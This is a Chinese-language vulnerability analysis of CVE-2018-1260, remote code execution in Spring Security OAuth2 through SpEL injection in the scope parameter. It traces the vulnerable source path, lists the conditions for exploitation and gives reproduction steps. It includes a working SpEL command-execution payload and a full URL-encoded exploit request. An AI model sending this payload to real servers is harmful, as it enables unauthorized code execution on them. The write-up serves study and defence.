(CVE-2018-1260)Spring_Security_Oauth2_远程代码执行

# (CVE-2018-1260)Spring Security Oauth2 远程代码执行

============

一、漏洞简介
————

二、漏洞影响
————

Spring Security OAuth 2.3 to 2.3.2Spring Security OAuth 2.2 to 2.2.1Spring Security OAuth 2.1 to 2.1.1Spring Security OAuth 2.0 to 2.0.14

三、复现过程
————

### 漏洞分析

先简要补充一下关于OAuth2.0的相关知识。![1.png](/static/qingy/(CVE-2018-1260)Spring_Security_Oauth2_远程代码执行/img/rId25.png)以上图为例。当用户使用客户端时,客户端要求授权,即图中的AB。接着客户端通过在B中获得的授权向认证服务器申请令牌,即access
token。最后在EF阶段,客户端带着access token向资源服务器请求并获得资源。

在获得access
token之前,客户端需要获得用户的授权。根据标准,有四种授权方式:授权码模式(authorization
code)、简化模式(implicit)、密码模式(resource owner password
credentials)、客户端模式(client
credentials)。在这几种模式中,当客户端将用户导向认证服务器时,都可以带上一个可选的参数`scope`,这个参数用于表示客户端申请的权限的范围。

,根据[官方文档](http://projects.spring.io/spring-security-oauth/docs/oauth2.html),在spring-security-oauth的默认配置中scope参数默认为空:

scope: The scope to which the client is limited. If scope is undefined or empty (the default) the client is not limited by scope.

为明白起见,我们在demo中将其清楚写出:

clients.inMemory()
.withClient(“client”)
.authorizedGrantTypes(“authorization_code”)
.scopes();

接着开始正式分析。当我们访问`http://localhost:8080/oauth/authorize`重定向至`http://localhost:8080/login`并完成login后程序流程到达org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java,这里贴上部分代码:

@RequestMapping(value = “/oauth/authorize”)
public ModelAndView authorize(Map model, @RequestParam Map parameters,
SessionStatus sessionStatus, Principal principal) {

// Pull out the authorization request first, using the OAuth2RequestFactory. All further logic should
// query off of the authorization request instead of referring back to the parameters map. The contents of the
// parameters map will be stored without change in the AuthorizationRequest object once it is created.
AuthorizationRequest authorizationRequest = getOAuth2RequestFactory().createAuthorizationRequest(parameters);

try {

// We intentionally only validate the parameters requested by the client (ignoring any data that may have
// been added to the request by the manager).
oauth2RequestValidator.validateScope(authorizationRequest, client);

// Place auth request into the model so that it is stored in the session
// for approveOrDeny to use. That way we make sure that auth request comes from the session,
// so any auth request parameters passed to approveOrDeny will be ignored and retrieved from the session.
model.put(“authorizationRequest”, authorizationRequest);

return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);

}

第115行![2.png](./resource/(CVE-2018-1260)SpringSecurityOauth2远程代码执行/media/rId27.png)在执行完`AuthorizationRequest authorizationRequest = …`后,`authorizationRequest`代表了要认证的请求,其中包含了众多参数![3.png](/static/qingy/(CVE-2018-1260)Spring_Security_Oauth2_远程代码执行/img/rId28.png)

在经过了对一些参数的处理,比如RedirectUri等,之后到达第156行:

// We intentionally only validate the parameters requested by the client (ignoring any data that may have
// been added to the request by the manager).
oauth2RequestValidator.validateScope(authorizationRequest, client);

在这里将对`scope`参数进行验证。跟入`validateScope`到org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:19

public class DefaultOAuth2RequestValidator implements OAuth2RequestValidator {

public void validateScope(AuthorizationRequest authorizationRequest, ClientDetails client) throws InvalidScopeException {
validateScope(authorizationRequest.getScope(), client.getScope());
}

}

继续跟入`validateScope`,至
org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:28

private void validateScope(Set requestScopes, Set clientScopes) {

if (clientScopes != null && !clientScopes.isEmpty()) {
for (String scope : requestScopes) {
if (!clientScopes.contains(scope)) {
throw new InvalidScopeException(“Invalid scope: ” + scope, clientScopes);
}
}
}

if (requestScopes.isEmpty()) {
throw new InvalidScopeException(“Empty scope (either the client or the user is not allowed the requested scopes)”);
}
}

首先检查`clientScopes`,这个`clientScopes`即我们在前面configure中配置的`.scopes();`,倘若不为空,则进行白名单检查。举个例子,如果前面配置`.scopes(“chybeta”);`,则传入`requestScopes`必须为`chybeta`,否则会直接抛出异常`Invalid scope:xxx`。但由于此处查`clientScopes`为空值,则接下来仅仅做了`requestScopes.isEmpty()`的检查并且通过。

在完成了各项检查和配置后,在`authorize`函数的最后执行:

return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);

回想一下前面OAuth2.0的流程,在客户端请求授权(A),用户登陆认证(B)后,将会进行用户授权(C),这里即开始进行正式的授权阶段。跟入`getUserApprovalPageResponse`
至org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java:241:![4.png](/static/qingy/(CVE-2018-1260)Spring_Security_Oauth2_远程代码执行/img/rId29.png)

生成对应的model和view,之后将会forward到/oauth/confirm\_access。为简单起见,我省略中间过程,直接定位到org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java:20

public class WhitelabelApprovalEndpoint {\@RequestMapping(\”/oauth/confirm\_access\”)public ModelAndView getAccessConfirmation(Map\ model,
HttpServletRequest request) throws Exception {String template = createTemplate(model, request);if (request.getAttribute(\”\_csrf\”) != null) {model.put(\”\_csrf\”, request.getAttribute(\”\_csrf\”));}return new ModelAndView(new SpelView(template), model);}\…}跟入createTemplate,第29行:

protected String createTemplate(Map\ model,
HttpServletRequest request) {String template = TEMPLATE;if (model.containsKey(\”scopes\”) \|\| request.getAttribute(\”scopes\”)
!= null) {template = template.replace(\”%scopes%\”, createScopes(model,
request)).replace(\”%denial%\”, \”\”);}\…return template;}跟入createScopes,第46行:![5.png](/static/qingy/(CVE-2018-1260)Spring_Security_Oauth2_远程代码执行/img/rId30.png)

这里获取到了`scopes`,并且通过for循环生成对应的`builder`,其实就是html和一些标签等,最后返回的即`builder.toString()`,其值如下:

  • scope.${T(java.lang.Runtime).getRuntime().exec(“calc.exe”)}: Approve Deny

`createScopes`结束后将会把上述`builder.toString()`拼接到`template`中。`createTemplate`结束后,在`getAccessConfirmation`的最后:

return new ModelAndView(new SpelView(template), model);

根据`template`生成对应的`SpelView`对象,这是其构造函数:![6.png](/static/qingy/(CVE-2018-1260)Spring_Security_Oauth2_远程代码执行/img/rId31.png)此后在页面渲染的过程中,将会执行页面中的Spel表达式`${T(java.lang.Runtime).getRuntime().exec(“calc.exe”)}`从而造成代码执行。

![7.png](/static/qingy/(CVE-2018-1260)Spring_Security_Oauth2_远程代码执行/img/rId32.png)

所以综上所述,这个任意代码执行的利用条件实在”苛刻”:

1. 需要`scopes`没有配置白名单,否则直接`Invalid scope:xxx`。不过大部分OAuth都会限制授权的范围,即指定scopes。
2. 使用了默认的Approval
Endpoint,生成对应的template,在spelview中注入spel表达式。不过可能绝大部分使用者都会重写这部分来满足自己的需求,从而导致spel注入不成功。

### 漏洞复现

利用github上已有的demo:

git clone https://github.com/wanghongfei/spring-security-oauth2-example.git

确保导入的spring-security-oauth2为受影响版本,以这里为例为2.0.10进入spring-security-oauth2-example,修改
cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java的第67行:

@Override
public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
clients.inMemory()
.withClient(“client”)
.authorizedGrantTypes(“authorization_code”)
.scopes();
}

根据[spring-security-oauth2-example](https://github.com/wanghongfei/spring-security-oauth2-example.git)创建对应的数据库等并修改AlanOAuthApplication中对应的mysql相关配置信息。

访问:

http://www.0-sec.org:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D

会重定向到login页面,随意输入username和password,点击login,触发payload。![3.gif](/static/qingy/(CVE-2018-1260)Spring_Security_Oauth2_远程代码执行/img/rId35.gif)

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